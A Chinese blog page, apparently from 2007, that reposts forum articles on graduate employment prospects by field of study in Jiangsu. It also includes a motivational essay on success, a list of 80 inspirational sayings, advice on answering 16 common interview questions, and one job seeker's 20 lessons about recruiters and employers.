[形势分析]江苏省人才市场负责人韩志忠分析说,工程技术类毕业生总体上来讲是最容易就业的群体,但不同的专业就业形势也有差别。目前可以把这类毕业生再分为两部分:一部分是机械制造、工艺、自动化类型,这部分人才目前非常抢手,材料、电磁、微波这些专业人才很紧缺。因为江苏产业结构是以加工业为主体,目前因此适应这一产业结构的各类应用型人才很需要,无论是一线技术人员,还是搞研发的高级研究人才,江苏这类人才需要20万人,企业往往是来多少吃多少;另一部门是IT、通讯、信息工程。这类毕业生就业形势呈两极分化,一种是以老牌重点高校、老牌专业为代表的高层次人才,企业开出的高薪往往就是出在这类人才中。不过一般学校出来的本科人才则面临就业尴尬,由于专业技能的实践作用不易被认可,因此找到对口工作可能很难。


[就业提示]对较好找工作的机械制造、工艺、自动化、IT、通讯类毕业生来说,如果是名校的硕博人才,要注重选择有实践机会的岗位,因为既有实践又有理论会比较容易提升;如果是技术类人才应立足于本专业,多往企业一线跑;对于一般学校的IT、通讯、信息工程等专业的本科生,先选择技术支持、后期维护等虽然辛苦,但介于理论和实践的岗位,对自己的后期发展有利。


经济及法学类:毕业生可能过剩


[代表专业]工商管理、国际贸易、基础法律等


[岗位供求]根据2006年毕业生人数统计,经济和法学毕业生人数为2.25万人,管理类4.48万人。今年这三类毕业生总人数约8万人。岗位供应来看,经济类岗位占总岗位的10.6%、法学类仅占0.5%、管理类占8.27%(以有工作经验的硕博为主),社会岗位数约7—8万个。


[形势分析]经济、法学、管理类属于社会需求比较宽泛的专业,因此就业面较大。一般的法律学本科生就业并不容易,如果没有取得资格证书,很难从事法律业务。而更尴尬的是学习管理的学生,因为根本没有管理的经验,又有几个单位会让初出茅庐的应届生进入管理层呢?据测算,既有工作经验又取得硕士以上管理学学位的人最受企业青睐,而剩下的约八成管理专业学生求职中会卡在“没经验”的坎上。


[就业提示]对于没有实践经验的管理专业的毕业生,面对求职症结要学会及时调整就业目标。对于这类学生来说,在选择岗位的时候要甘于从基层做起,首先获得工作经验。而对法律专业学生来说,最现实的情况是要么考证书,要么考公务员,另外可以考虑学习一些其他专业,既懂会计又懂法律的人就很吃香。而对学经济的人来说,切忌空中楼阁似的想象,如果要就业应着眼于企业,从实战中学会将理论化作生产力,真正懂策略又有想法的人才是会受到老板提拔的。


艺术类:好岗位很难找


[代表专业]动画、编剧、声乐、设计等艺术类专业及其他


[岗位供求]艺术类及其他专业毕业生约5万人。岗位供应来看,艺术类占总岗位的1.5%、教育类等占2%。社会岗位数约3—4万个。


[形势分析]南航艺术学院表演专业的饶同学,想去前线歌舞团、江苏省歌舞剧院等等大型团体,但是经过面试之后被告知表演缺乏感染力,声乐基础略差而遭受打击,但是她对一些小的文艺团体根本不考虑。而其他同学中有学动画制作的人找到的工作月收入竟高达四五千元!“网络和影视媒体发展迅速,很多东西都要借助动画来表达,往往制作一秒钟动画就要上千元,学这个专业的学生一出来就很抢手。”南京市毕业生就业办公室郑处长向记者透露道。据分析,艺术类专业在就业上也是相差很大。适应市场要求的、有实践动手能力的专业学生就业比较容易,譬如动画、设计、广告,而编剧这样的专业学生出来往往找不到就业方向。


[就业提示]对于一些与市场脱节较大的专业学生来说,放下身段、调整就业方向是当务之急。对于艺术类学生来说,除了打算从事文艺表演之外,设计、装潢、编剧这些专业的学生要学会根据本专业的情况进行“职业拓展”。


医学类:社区医院岗位多


[代表专业]临床医学、药剂学、护理、影像等


[岗位供求]根据2006年毕业生人数统计,医药类毕业生有1.04万人,今年人数比去年略有增长,岗位供应来看,医药类约占总岗位的3%。社会岗位数约为1.5—2.5万个。


[形势分析]一位某名牌大学毕业的学生,要求做营销经理,他开出的条件是非外(合)资药企不去,结果多家合资企业因其缺少实际经验而没能录用。相反地,一位妇科医生,到一个三甲医院面试。通过后,她又去了一家民营医院,经比较,民营医院给出的待遇更吸引人才,现在她在这家民营医院收入是三甲医院的2倍以上,各项保险都有。


《南京医药人才库》负责人裴凡告诉记者,医药人才市场今年以来出现以下新特点:第一,营销人员需求持续上升,尤其是营销经理、采购经理等职位,一些企业开出相当高的薪水,也未能找到完全满意的人才;第二,执业药师供需趋于平衡,一些大型连锁药店的用人从简单持证上岗向专业化高素质发展,不少药房要求营业员必须是医药专业毕业;第三,二级医院、社区服务和民营医院高级人才缺位多。近段时期影像、五官科、妇科医生高级岗位空缺较多;第四,护理人员缺口大,从一些大医院到民营医院普遍感到熟练护士不够,总体缺口在20%左右;第五,美容、保健品、医疗器械行业对医护人员的需求也在不断上升,美容医生、护士、咨询医生,保健讲师等出现人才难求。据悉,至9月份500多岗位空缺,1000多人才未能匹配到合适的岗位。


[就业提示]应届毕业生别只盯着公立大医院、合资企业。高素质人才往往在中小医院和企业更受重视,服务市民的社区医院更有发展空间,还有优惠政策,因此对于一般毕业生来说, 要“先谈生存后求发展”。


文哲史和纯理科类:就业类别狭窄


[代表专业]哲学、历史、中文、基础数学、物理学等


[岗位供求]根据2006年毕业生人数统计,文哲史类毕业生3.6万人,纯理科类毕业生有1.59万人,2007年纯理纯文的毕业生总数预计有6.4万人。但在提供给这类学生的岗位上,据测算,文史类仅占所有岗位的4.8%,理科类占3.3%,社会岗位数约为5万个。


[形势分析]在日前举行的高校师资招聘会上,江苏医科大学、大连海事大学、南理工泰州科技学院、江苏经贸职业技术学院等25所学校的展位被求职者围得水泄不通。东南大学无线电信专业应届硕士生小曹告诉记者,很多学校开口就要博士,研究生根本进不去。在高校招聘中,竟然出现30名研究生争抢一个辅导员岗位的现象。


“纯文纯理专业的应届毕业生今年找工作形势更为严峻。”南京市毕业生就业办公室郑力主任感叹道。文哲史专业的学生在学校提高的是一种文化素养,但是专业技能不强,因此就业类别受到很大限制,这些学生的就业出路主要集中在老师、文秘、企业策划等。学语言的学生就业相对较容易,语言能力强是很多企业的敲门砖,较好转行,而学习小语种的学生就业根本不用发愁。但是对于前面的纯文专业的学生来讲,没有其他专业背景和一些职业的上岗资格证书,就业就很难。相同的问题还出在着重基础研究的纯理科专业的应届生身上。一些学习基础数学、基础物理等本科生就业很尴尬,到研发部门水平太低,而面对市场鲜有对口专业。


[就业提示]目前虽然文科就业形势不容乐观,但是文科类的综合性人才还是缺乏的,由于文科学生的综合素养比较好,因此有专业知识的文科生很受企业欢迎。所以对于学纯文科的学生来说,需要获取一些专业的资格证书,不能固守专业,譬如学语言的可以向贸易方面发展、学中文或新闻的可以进企业从事广告或策划工作。而对做基础学科研究的纯理科专业的学生来说,硕博人才可以努力进高校或研发部门,在求职时要放下身段,民办院校和二级学院是主渠道。而一般的学生主要有四条路:深造、出国、考研以及改行做一些既与专业相关,又能与市场接轨的行业。





成功=狼+狐狸+豹子

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=70071


  巴拉昂是一位年轻的媒体大亨,推销装饰肖像画起家,在不到10年的时间里,迅速跻身于法国五十大富翁之列,1998年因前列腺癌在法国博比尼亚医院去逝。

  临终前,他留下遗嘱,把他4.6亿法郎的股份捐献给博比尼亚医院,用于前列腺癌的研究,另有100万法郎作为奖金,奖给揭开贫穷之谜的人。

  巴拉昂去世后,法国《科西嘉人报》刊登了他的一份遗嘱。

  他说,“我曾是一个穷人,去世时却是以一个富人的身份走进天堂的。在跨入天堂的门槛之前,我不想把我成为富人的秘诀带走,现在秘诀就锁在法兰西中央银行我的一个私人保险箱内,保险箱的三把钥匙在我律师和两位代理人手中。谁若能通过回答穷人最缺少的是什么而猜中我的秘诀,他将能得到我的祝贺。当然,那时我已经无法从墓穴中伸出双手为他的睿智而欢呼,但是他可以从那只保险箱里荣幸地拿走100万法郎,那就是我给予他的掌声。”

  巴拉昂逝世周年纪念日,律师和代理人按巴拉昂生前的交代在公证部门的监视下打开了那只保险箱,在48561封来信中,有一位叫蒂勒的小姑娘猜对了巴拉昂的秘诀。蒂勒和巴拉昂都认为穷人最缺少的是野心,即成为富人的野心。

  当我们面对大都市一幢幢商品房拔地而起,当我们面对商业街一辆辆私家车穿行而过,我们多么希望自己成为这些商品房和私家车的主人。


  成为富人是大多数人的梦想,实现这个梦想可以提高生活品质,实现自我价值,获得人生更高层次的快乐和幸福。

  但少数人却会甘于贫穷。面对贫穷,他们可以找出数不清的理由,也可能编织一些诸如“我平庸、我快乐”的谎言。

  该到了把一切谎言都送进垃圾箱的时候了!这本书将要扬弃的一句谎言就是——失败是成功之母。

  如果失败真的是成功的母亲,那么为什么很多人有非常多的“失败的妈妈”,却难产“成功的孩子”?难道是他们的行为方式错了吗?

  没有,是这句话错了!

  “失败是成功之母”这句话是有条件的,那就是人的行为要完全理性,这是与真实的人性相差甚远,人在大多数情况下是“感情的动物”。

  感性用事是人性的普遍现象,而且是一种真实的存在。“存在即合理”,我们没有必要否定它,那么,在这种前提下,成功还有没有更为可行的规律?

  答案是肯定的,而且这个规律已经被很多人听说过了,这就是本书的将要讨论的主题——成功是成功之母!

  成功可以点燃你的自信、让你尝到“甜头”,唤起你的野心,鼓舞你的斗志。人际交往的成功则有助于你提高亲和力,增强影响力,在陌生领域拓展人际关系网络,成为团队中的领导者。

  还有什么比成功更让人振奋不已吗?还有什么比成功更容易“生出”成功吗?

  成功是成功之母,这并不是完全放弃失败的作用,我们亦可以把失败作为成功的“姨妈”或者是“叔叔”。

  为什么失败不配做“成功的母亲”?

  那是因为——失败对你总是“不冷不热”的,有时甚至会像哈利。波特的姨妈对待小哈利那样“凶恶”。

  失败容易使你失去做某事的兴趣、失去奋斗的信心和勇气,发展到一定程度,还有可能使你陷入心理抑郁或者是移情“低级趣味”。

  我们该像小哈利一样去寻找自己的“亲生母亲”了!我们既然怀有“蛛蜘侠”一样的英雄梦想,为什么不把它变成现实!

  随着技术革新速度的加快、社会竞争的加剧,就业压力像冰山一样浮出了水面。这个一个充满变革的社会、也是一个充满机遇和挑战的社会。

  于是有人惊呼:狼来了!

  他们绝不在和你开玩笑,和我们抢饭碗的狼真的来了,而且不止一条,有成千上万条!

  在“与狼共舞”的年代,要成功首先要使自己成为一只狼!要具有不达目的誓不罢休的精神,具有韦尔奇所倡导的那种“野兽”精神。

  变革是不以人的意志为转移的,“胜者吃鱼翅捞饭,败者吃残羹冷彘”。任何一场变革都会甄别出强者和弱者,并进一步拉大两者的差距,竞争是无情的,失败者可能“饿死”也决非危言耸听。

  如果能成为强者,你爱吃什么就吃什么,不过关键一步去“抢滩”你必须胜利。这需要过人的胆识、细致入微的洞察力、灵活应变的能力。

  “成功=狼+狐狸+豹子”,这是本书将要阐述的成为强者的核心素质。也就是——“成功=野心+洞察力与应变力+胆商”。

  “星星之火,可以燎原”,去积累你的成功吧。原始人尚知“钻木取火”,具有高智商的现代人在市场中寻找成功的“火星”又有何难!

  发现成功的火星,把它们燃成火苗,利用火苗燃起你所发现的一切可燃物,你的生活将随之发生根本的变革!

  当成功之火熊熊燃烧,你将彻底离开生活中的寒冷,离开未知世界的黑暗,你将拥有温暖的人生、光明的未来!


值得珍藏的80句话值得珍藏的80句话

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=11764

01.每天告诉自己一次,『我真的很不错』。
02.生气是拿别人做错的事来惩罚自己。
03.生活中若没有朋友,就像生活中没有阳光一样。
04.明天的希望,让我们忘了今天的痛苦。
05.生活若剥去理想、梦想、幻想,那生命便只是一堆空架子。
06.发光并非太阳的专利,你也可以发光。
07.愚者用肉体监视心灵,智者用心灵监视肉体。
08.获致幸福的不二法门是珍视你所拥有的、遗忘你所没有的。
09.贪婪是最真实的贫穷,满足是最真实的财富。
10.你可以用爱得到全世界,你也可以用恨失去全世界。
11.人的价值,在遭受诱惑的一瞬间被决定。
12.年轻是我们唯一拥有权利去编织梦想的时光。
13.青春一经典当即永不再赎。
14.没有了爱的语言,所有的文字都是乏味的。
15.真正的爱,应该超越生命的长度、心灵的宽度、灵魂的深度。
16.爱的力量大到可以使人忘记一切,却又小到连一粒嫉妒的沙石也不能容纳。
17.当一个人真正觉悟的一刻,他放弃追寻外在世界的财富,而开始追寻他内心世界的真正财富。
18.只要有信心,人永远不会挫败.
19.不论你在什么时候开始,重要的是开始之后就不要停止。
20.不论你在什么时候结束,重要的是结束之后就不要悔恨。
21.人若软弱就是自己最大的敌人。
22.人若勇敢就是自己最好的朋友。
23.『不可能』只存在于蠢人的字典里。
24.抱最大的希望,为最大的努力,做最坏的打算。
25.家!甜蜜的家!天下最美好的莫过于家。
26.游手好闲会使人心智生锈。
27.每一件事都要用多方面的角度来看它。
28.有理想在的地方,地狱就是天堂。
29.有希望在的地方,痛苦也成欢乐。
30.所有的胜利,与征服自己的胜利比起来,都是微不足道。
31.所有的失败,与失去自己的失败比起来,更是微不足道。
32.上帝从不埋怨人们的愚昧,人们却埋怨上帝的不公平。
33.美好的生命应该充满期待、惊喜和感激。
34.世上最累人的事,莫过于虚伪的过日子。
35.觉得自己做的到和不做的到,其实只在一念之间。
36.第一个青春是上帝给的;第二个的青春是靠自己努力的。
37.少一点预设的期待,那份对人的关怀会更自在。
38.思想如钻子,必须集中在一点钻下去才有力量。
39.人只要不失去方向,就不会失去自己!
40.如果你曾歌颂黎明,那么也请你拥抱黑夜。
41.问候不一定要慎重其事,但一定要真诚感人。
42.人生重要的不是所站的位置,而是所朝的方向。
43.当你能飞的时候就不要放弃飞。
44.当你能梦的时候就不要放弃梦。
45.当你能爱的时候就不要放弃爱。
46.生命太过短暂,今天放弃了明天不一定能得到。
47.天才是百分之一的灵感加上百分之九十九的努力。
48.人总是珍惜未得到的,而遗忘了所拥有的。
49.快乐要懂得分享,才能加倍的快乐。
50.自己要先看得起自己,别人才会看得起你。
51.一个今天胜过两个明天。
52.要铭记在心;每天都是一年中最美好的日子。
53.乐观者在灾祸中看到机会;悲观者在机会中看到灾祸。
54.有勇气并不表示恐惧不存在,而是敢面对恐惧、克服恐惧。
55.肯承认错误则错已改了一半。
56.明天是世上增值最快的一块土地,因它充满了希望。
57.理想的路总是为有信心的人预备着。
58.所有欺骗中,自欺是最为严重的。
59.人生最大的错误是不断担心会犯错。
60.把你的脸迎向阳光,那就不会有阴影。
61.经验是由痛苦中粹取出来的。
62.用最美的回忆面对过去。
63.用最少的浪费面对现在。
64.用最多的梦面对未来。
65.快乐不是因为拥有的多而是计较的少。
66.你的选择是做或不做,但不做就永远不会有机会。
67.如你想要拥有完美无暇的友谊,可能一辈子找不到朋友。
68.不如意的时候不要尽往悲伤里钻,想想有笑声的日子吧。
69.把自己当傻瓜,不懂就问,你会学的更多。
70.要纠正别人之前,先反省自己有没有犯错。
71.因害怕失败而不敢放手一搏,永远不会成功。
72.要克服生活的焦虑和沮丧,得先学会做自己的主人。
73.你不能左右天气,但你能转变你的心情。
74.孤单寂寞与被遗弃感是最可怕的贫穷。
75.想象力比知识更重要。
76.漫无目的的生活就像出海航行而没有指南针。
77.好好扮演自己的角色,做自己该做的事。
78.一切伟大的行动和思想,都有一个微不足道的开始。
79.得意时应善待他人,因为你失意时会需要他们。
80.学做任何事得按部就班,急不得.
posted @ 2007-03-04 11:32 MEYE 阅读(1015) | 评论 (1)编辑 收藏
面试技巧:16个经典面试问题回答思路

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=78405

问题一:“请你自我介绍一下”

思路:
1、这是面试的必考题目。
2、介绍内容要与个人简历相一致。
3、表述方式上尽量口语化。
4、要切中要害,不谈无关、无用的内容。
5、条理要清晰,层次要分明。
6、事先最好以文字的形式写好背熟。


问题二:“谈谈你的家庭情况”

思路:
1、 况对于了解应聘者的性格、观念、心态等有一定的作用,这是招聘单位问该问题的主要原因。
2、 简单地罗列家庭人口。
3、 宜强调温馨和睦的家庭氛围。
4、 宜强调父母对自己查看更多教育的内容教育的重视。
5、 宜强调各位家庭成员的良好状况。
6、 宜强调家庭成员对自己工作的支持。
7、 宜强调自己对家庭的责任感。


问题三:“你有什么业余爱好?”

思路:
1、 业余爱好能在一定程度上反映应聘者的性格、观念、心态,这是招聘单位问该问题的主要原因。
2、 最好不要说自己没有业余爱好。
3、 不要说自己有那些庸俗的、令人感觉不好的爱好。
4、 最好不要说自己仅限于读书、听音乐、上网,否则可能令面试官怀疑应聘者性格孤僻。
5、 最好能有一些户外的业余爱好来“点缀”你的形象。


问题四:“你最崇拜谁?”

思路:
1、 最崇拜的人能在一定程度上反映应聘者的性格、观念、心态,这是面试官问该问题的主要原因。
2、 不宜说自己谁都不崇拜。
3、 不宜说崇拜自己。
4、 不宜说崇拜一个虚幻的、或是不知名的人。
5、 不宜说崇拜一个明显具有负面形象的人。
6、 所崇拜的人人最好与自己所应聘的工作能“搭”上关系。
7、 最好说出自己所崇拜的人的哪些品质、哪些思想感染着自己、鼓舞着自己。 


问题五:“你的座右铭是什么?”

思路:
1、座右铭能在一定程度上反映应聘者的性格、观念、心态,这是面试官问这个问题的主要原因。
2、不宜说那些医引起不好联想的座右铭。
3、不宜说那些太抽象的座右铭。
4、不宜说太长的座右铭。
5、座右铭最好能反映出自己某种优秀品质。
6、 参考答案——“只为成功找方法,不为失败找借口”


问题六:“谈谈你的缺点”

思路:
1、 不宜说自己没缺点。
2、 不宜把那些明显的优点说成缺点。
3、 不宜说出严重影响所应聘工作的缺点。
4、 不宜说出令人不放心、不舒服的缺点。
5、 可以说出一些对于所应聘工作“无关紧要”的缺点,甚至是一些表面上看是缺点,从工作的角度看却是优点的缺点。


问题七:“谈一谈你的一次失败经历”

思路:
1、 不宜说自己没有失败的经历。
2、 不宜把那些明显的成功说成是失败。
3、 不宜说出严重影响所应聘工作的失败经历,
4、 所谈经历的结果应是失败的。
5、 宜说明失败之前自己曾信心白倍、尽心尽力。
6、 说明仅仅是由于外在客观原因导致失败。
7、 失败后自己很快振作起来,以更加饱满的热情面对以后的工作。


问题八:“你为什么选择我们公司?”

思路:
1、 面试官试图从中了解你的动机、愿望以及对此项工作的态度。
2、 建议从行业、企业和岗位这三个角度来回答。
3、 参考答案——“我十分看好贵公司所在的行业,我认为贵公司十分重视人才,而且这项工作很适合我,相信自己一定能做好。”


问题九:“对这项工作,你有哪些可预见的困难?”

思路:
1、 不宜直接说出具体的困难,否则可能令对方怀疑应聘者不行。
2、 可以尝试迂回战术,说出应聘者对困难所持有的态度——“工作中出现一些困难是正常的,也是难免的,但是只要有坚忍不拔的毅力、良

好的合作精神以及事前周密而充分的准备,任何困难都是可以克服的。”


问题十:“如果我录用你,你将怎样开展工作”

思路:
1、 如果应聘者对于应聘的职位缺乏足够的了解,最好不要直接说出自己开展工作的具体办法,
2、 可以尝试采用迂回战术来回答,如“首先听取领导的指示和要求,然后就有关情况进行了解和熟悉,接下来制定一份近期的工作计划并报

领导批准,最后根据计划开展工作。”


问题十一:“与上级意见不一是,你将怎么办”

思路:
1、 一般可以这样回答“我会给上级以必要的解释和提醒,在这种情况下,我会服从上级的意见。”
2、 如果面试你的是总经理,而你所应聘的职位另有一位经理,且这位经理当时不在场,可以这样回答:“对于非原则性问题,我会服从上级

的意见,对于涉及公司利益的重大问题,我希望能向更高层领导反映。”


问题十二:“我们为什么要录用你?”

思路:
1、 应聘者最好站在招聘单位的角度来回答。
2、 招聘单位一般会录用这样的应聘者:基本符合条件、对这份共组感兴趣、有足够的信心。
3、 如“我符合贵公司的招聘条件,凭我目前掌握的技能、高度的责任感和良好的饿适应能力及学习能力 ,完全能胜任这份工作。我十分希望

能为贵 公司服务,如果贵公司给我这个机会,我一定能成为贵公司的栋梁!”


问题十三:“你能为我们做什么?”

思路:
1、 基本原则上“投其所好”。
2、 回答这个问题前应聘者最好能“先发制人”,了解招聘单位期待这个职位所能发挥的作用。
3、 应聘者可以根据自己的了解,结合自己在专业领域的优势来回答这个问题。


问题十四:“你是应届,缺乏经验,如何能胜任这项工作?”

思路: 1、 如果招聘单位对应届毕业生的应聘者提出这个问题,说明招聘单位并不真正在乎“经验”,关键看应聘者怎样回答。 2、 对这个

问题的回答最好要体现出应聘者的诚恳、机智、果敢及敬业。 3、 如“作为应届毕业生,在工作经验方面的确会有所欠缺,因此在读书期间我

一直利用各种机会在这个行业里做兼职。我也发现,实际工作远比书本知识丰富、复杂。但我有较强的责任心、适应能力和学习能力,而且比

较勤奋,所以在兼职中均能圆满完成各项工作,从中获取的经验也令我受益非浅。请贵公司放心,学校所学及兼职的工作经验使我一定能胜任

这个职位。”


问题十五:“你希望与什么样的上级共事?”

思路: 1、 通过应聘者对上级的“希望”可以判断出应聘者对自我要求的意识,这既上一个陷阱,又上一次机会。 2、 最好回避对上级具体

的希望,多谈对自己的要求。 3、 如“做为刚步入社会新人,我应该多要求自己尽快熟悉环境、适应环境,而不应该对环境提出什么要求,只

要能发挥我的专长就可以了。”


问题十六:“您在前一家公司的离职原因是什么?”

思路:
1、 最重要的是:应聘者要使找招聘单位相信,应聘者在过往的单位的“离职原因”在此家招聘单位里不存在。
2、 避免把“离职原因”说得太详细、太具体。
3、 不能掺杂主观的负面感受,如“太幸苦”、“人际关系复杂”、“管理太混乱”、“公司不重视人才”、“公司排斥我们某某的员工”等


4、 但也不能躲闪、回避,如“想换换环境”、“个人原因”等。
5、 不能涉及自己负面的人格特征,如不诚实、懒惰、缺乏责任感、不随和等。
6、 尽量使解释的理由为应聘者个人形象添彩。
7、 如“我离职是因为这家公司倒闭。我在公司工作了三年多,有较深的感情。从去年始,由于市场形势突变,公司的局面急转直下。到眼下

这一步我觉得很遗憾,但还要面对显示,重新寻找能发挥我能力的舞台。”

同一个面试问题并非只有一个答案,而同一个答案并不是在任何面试场合都有效,关键在于应聘者掌握了规律后,对面试的具体情况进行把握

,有意识地揣摩面试官提出问题的心理背景,然后投其所好。
友好打印模式
转发给朋友
posted @ 2007-03-04 11:28 MEYE 阅读(1053) | 评论 (2)编辑 收藏
找工作的20条经验

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=63933
文/识字不疯狂 


  04年毕业,还没有单干的资本,我分析我自己也不适合单干,一直在打工,也倾向于一辈子打工。我工作快两年了,回顾一下自己的经历,写了点东西。大家也一起来说说经验吧,共同交流一下,互相促进,增长一点本领。  

  经验一:光鲜的招聘现场背后不一定代表一个正规友善、蓬勃向上的公司。比如2004年初我经历过一个大型**超市,它很快就倒闭了,招聘现场非常热闹,招聘手法非常有现代感——但是,两个月后,这家公司倒闭了。所以判断一个公司的实力,最好还是上网查一下、到公司问一下,像这个公司的供货商或者合作伙伴打听一下,绝人不能看招聘时的场面或者招聘人员的自我宣传。    

  经验二:招聘人员的高素质,不代表将来直接和你一起工作的人同样素质高;很多朋友都遇到过这样的问题,好不容易看到了一个知情达理的HR,谈得也很好。去工作了以后,才发现那个公司很乱套,除了那个HR以外的人员都非常差,甚至你会发现那个HR也很差。    

  经验三:经常招聘的公司,基本都不是好地方,多数还有圈套。广为人知的就是**证券、**建材、**保险,别看他们还是上市公司,骗起人来都是一套一套的。在国外店越大越得谨慎,但是目前国内越大的店越具有欺负人的潜质,还没人管,**建材就是典型。    

  经验四:招聘人员夸夸其谈的、使用煽动性语言的,多数都是陷阱。这样的有很多,一般都是几个穿着西装领带的人在招聘现场唾沫横飞,职位一般都是销售,许诺只要你能干,月薪3000、5000、10000,甚至100000都不在话下。比较出名的还有**保险的“保险,永不失业的朝阳产业”,靠,如果是永不失业的朝阳产业,你怎么还每周都到人才市场招人?    

  经验五:如果你不喜欢现在的专业,决心要通过考研究生改行,那么不必在考研究生之前找工作,考完后也会有工作的,尤其是春节以后。人的精力有限,集中兵力做好一件事情。反正你都想改行了,就不要想工作的事情。《圣经》中说,上帝要毁掉所多玛城的时候,透信给一个哥们,让那哥们赶紧走,就是不能回头,回头就变成盐柱了。结果那哥们,哎……     

  经验六:招聘的时候资方不谈给多少钱的,多数都是给的很少,不好意思说,先把你人忽悠去了再说。谈薪水这个东西是非常非常非常正常的,刚毕业的学生可能还有点扭转不过来,以为谈钱是多不好意思的事呀。被雇用不就是出卖自己么,卖自己之前怎么也得有个价码呀。绝口不谈薪水的公司,多半都是给的钱非常少;当然也有一些国际大公司,事先不谈薪水的,因为行业内的人都知道薪水肯定少不了。    

  经验七:交押金的、押毕业证原件的都是一些不爽的地方。能不去就不去。我遇见过要求抵押毕业证原件的,是一个台资企业,也遇见过要交押金的,是一个四川民企,说是公司有很多商业秘密,所以要押金。你把青春压上了,还要压毕业证或是现金,这样的地方是无论如何也不要理会的。    

  经验八:老总亲自去招聘的,基本都是很小的公司。中国的民企长不大,和老总的素质关系极大,当然了老总的素质低下也是全民整体素质低下的表现,不是说素质低的人才做老板。在招聘会现场,凡是那些一脸深沉、浑身霸气、看人的眼光挑三拣四、交谈的时候很没有礼貌、张口我的公司现在已经很大了、闭口你要是来我们公司还得试用半年……的老总,基本上都不要考虑去他们的公司了。    

  经验九:关于各种保险和住房公积金。第一不要相信企业的许诺,他说有,但是很多时候没有。第二,即使有,也可能很少很少。我的一个朋友每个月的工资在3K左右,公司给缴了3年多的医疗保险,但是一场感冒医保卡里面的钱就全都没有了,因为那个公司是按照月工资300元给缴的保险——他的工资的确是三百元,剩下的都是奖金。    

  经验十:绝大多数公司定下的面试时间都不准确。从招聘约会的时间上看,目前我们国家的绝大多数企业实在还是停留在很低级的管理水平上,按照约定好的时间到了,还要等上一个小时两个小时,在招聘的人眼里看来那都是很正常的。中国人的时间观念差,可见一斑。有些大企业要好一些,很守时。甚至告诉你8:55到什么地方,9:00到什么地方,有专人接送。如果有公司迟到什么,不要太生气,都那味,不守时的公司不见得是很差的公司。    

  经验十一:女孩子要注意的。有一些公司是来招儿媳妇的、招小姐的,这是比较明显的骗局。还有一些公司需要大量的文员,他就不断地招聘女生以很低的薪水去做那些基础性的工作,试用期一过就说你不合格。另外企业人员素质非常差比如说什么司机保安都能甚嚣尘上的公司,或者男女关系很复杂的公司,也都不要去。    

  经验十二:广结善缘、不去那里工作,也不要弄出点仇来。踏入社会后每接触的一个人或者一个公司,都可能与你未来生活产生关联。如果你不想被他雇用,也不要和他结下梁子,无论他可能多么没礼貌、或者他开除的薪水是多么没有礼貌。和颜悦色的表达你的拒绝的意思就行了。我仍举上面说过的那个四川的网络公司,他们对有1年经验的员工给出的待遇是,试用期500、转正700,试用期三个月,无论试用转正都没有合同,头两个月要扣除300元押金(第一个月扣200也就是开300,第二个月扣100也就是开400),除此以外没有任何形式的补助、奖金、保险、公积金,每周休息一天。但是随时加班,没有加班费。加班到晚上没有公交车的时候,也不给报打车费,公司内有大通铺,爱睡不睡。  

  这个公司把我激怒了。因为我在填写薪酬待遇的时候添了2k,而且特意在人才市场现场询问了招聘者,能不能达到这个数字。那个招聘的女士很礼貌的说,你下午来吧,这是地址条。我下午推了很重要的事情去的,并且那个公司的面试迟到了少一个小时,结果那个给我递条的人,也就是人力资源主任,在她的办公室同样优雅的说着上面的待遇的时候,我彻底被激怒了,不待脏字的把她骂了,为了我付出的那些时间。  

  但是,事后反省,我觉得没有必要骂人。因为那不能是我自己的境遇有所改善。在那以后无论碰上多么差劲的招聘者,我都没有发脾气。我可以选择不被他雇用,但是可能以后这个公司就是我的客户,何必呢。    

  经验十三:小心“后备主管”“储备经理”等。这些职位一般都是招男生,招进去了以后什么活都干,什么苦都吃。因为你是“后备”“储备”呀,所以什么活都让你干。这种把戏多见于那些季节性的行业,比如夏天的酒店和旅行社。    

  经验十四:永远不要相信承诺,也不要相信合同。这是目前我国的国情。空口固然无凭,盖上了红章章的黑纸白字一样也是废纸。对于一个公司对待员工的状况,口碑这个东东要比承诺、合同都更稍微可信一点。    

  经验十五:关于劳动合同。多研究一下《劳动法》《合同法》吧,签合同之前要把一些问题搞清楚。很多时候,签还是不签,那是一个问题呀!这个问题比较复杂,我说不太清楚。因为种种种种的原因,我从来就没跟雇主签过合同,虽然我希望做一个守法公民。    

  经验十六:在选择被谁雇佣之前,仔细计算一下投入产出比例——薪水不是唯一应该被考虑的元素,甚至连重要因素都不是。比如说一个人挣5k,另外一个人挣2k,表面看来收入5k的要比收入2k的收入高很多。但是如果这个挣5k的每天10小时严重超负荷工作,每两周只有一天休息,而且他从事的工作比较封闭,拓展的空间比较小,接触的人也非常少;那个收入2k的每周工作5天,一天8小时,公司有各种培训,工作很开放,拓展的空间也很大。那么我想这两个人五年以后的健康状况、做人境界、收入境界的差别都会非常大的。     

  经验十七:穿着打扮。面试的时候算是一个比较正式的场合了,所以就要打扮得有那么一点职业气息,绝大多数的公司都需要规矩人。所以如果应聘的不是很需要创造力的职位的话,还是在头几次打扮得乖巧一点,以后模着到了,再怎么舒服怎么穿。女孩子面试的时候,不必特意打扮的,又是做头发、又是买衣服的,不是很有必要。如果一个公司因为你打扮得妖艳看上了你,那才是需要担忧的事情。更有甚者,我听说过有很多人在大学四年级的时候整容,呵呵,那种自我摧残就不要了。一个员工的价值,不在于它是单眼皮合适的双眼皮,在于她眼睛的洞察力。    

  经验十八:要不要美丽的撒谎。有一些谎言,还是要有的,那种善意的。比如人问你打算在北京定居么,你总不能实话实说这个鬼地方风沙大停车贵总堵车我干两年就回九寨沟老家。     
  经验十九:刚刚毕业尽量进大公司。应届毕业生,对于公司的选择更要慎重,哈佛的几个心理学家研究过人的第一份工作和一生发展轨迹的关系,得出的结论是人的第一个工作的对一个人的影响比我们想象的还要大,因为那奠定了一个人很多的思考习惯,行为习惯。在高效率的公司干过,到了低效率的公司也能适应。不过要是在一个小公司养成了一身坏毛病,以后的发展就很受限制。大公司之所以能成为大公司,肯定是有过人之处的。进一个好公司相当于上一个好大学,不知不觉中就出息了。    

  经验二十:招聘人缺少教养的,不管工资给到多高,也不要去。一个公司让缺少礼貌的人去负责招聘,这个公司根本就不值得期待。     

